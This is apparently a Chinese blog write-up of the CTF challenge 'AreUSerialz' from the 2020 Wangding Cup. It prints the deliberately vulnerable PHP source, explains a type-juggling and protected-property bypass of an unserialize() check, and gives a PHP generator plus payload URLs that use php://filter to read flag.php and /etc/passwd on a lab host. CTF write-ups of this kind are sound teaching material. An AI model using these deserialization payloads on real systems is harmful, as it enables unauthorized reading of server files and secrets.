• [网鼎杯 2020 青龙组]AreUSerialz


    [网鼎杯 2020 青龙组]AreUSerialz

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

      PHP反序列化漏洞,比赛的时候做出来了,在buuoj上再复现记录一下。

    查看代码可以看出来,GET方式传入序列化的str字符串,str字符串中每一个字符的ASCII范围在32到125之间,然后对其反序列化。

    在反序列化的过程中,调用__destruct析构方法

        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    

      如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意到的地方是,这里op与"2"比较的时候是强类型比较

        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    

      进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来这里op与字符串的比较变成了弱类型比较==。

    所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数

        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    

      filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出

        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    

      整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

    <?php
    
    class FileHandler {
    
        protected $op=2;
        protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            // $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            // $this->process();
        }
    
    }
    $A=new FileHandler();
    $B=serialize($A);
    echo $B;
    

      运行之后,这三个箭头指向的地方字符显示不正确的地方就是%00字符

     在这里有几种绕过的方式,简单的一种是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

    即:

        public $op=2;
        public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    

      现在得到的结果就没有%00字符了

     buuoj平台复现的话使用上面这个payload就已经可以读取flag了:

    http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
    

      

     比赛的时候还有相对路径和绝对路径的问题,需要拿到绝对路径才能读取flag

    可以先尝试读取/etc/passwd检验自己的payload是否正确,然后再读取服务器上的配置文件,猜出flag.php所在的绝对路径,再将其读取。

    http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:60:%22php://filter/read=convert.base64-encode/resource=/etc/passwd%22;s:7:%22content%22;N;}
    

      下面这个payload是比赛的时候用的,buuoj上环境路径不一样。

    http://82f3c803-c285-4d4c-846c-59d240b730e0.node3.buuoj.cn/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:67:%22php://filter/read=convert.base64-encode/resource=/web/html/flag.php%22;s:7:%22content%22;N;}
    

      

    以上。

  • 相关阅读:
    在CentOS-6.9里安装openvswitch-2.5.4
    Django 2.0.7 使用小知识
    微信小程序 存储数据到本地以及本地获取数据
    微信小程序目录结构与配置介绍
    微信小程序视图层介绍及用法
    小程序 wx.request请求
    小程序的启动流程(生命周期)
    小程序的双线程模型
    小程序之基础组件
    小程序之路由跳转
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12874458.html
Copyright © 2020-2023  润新知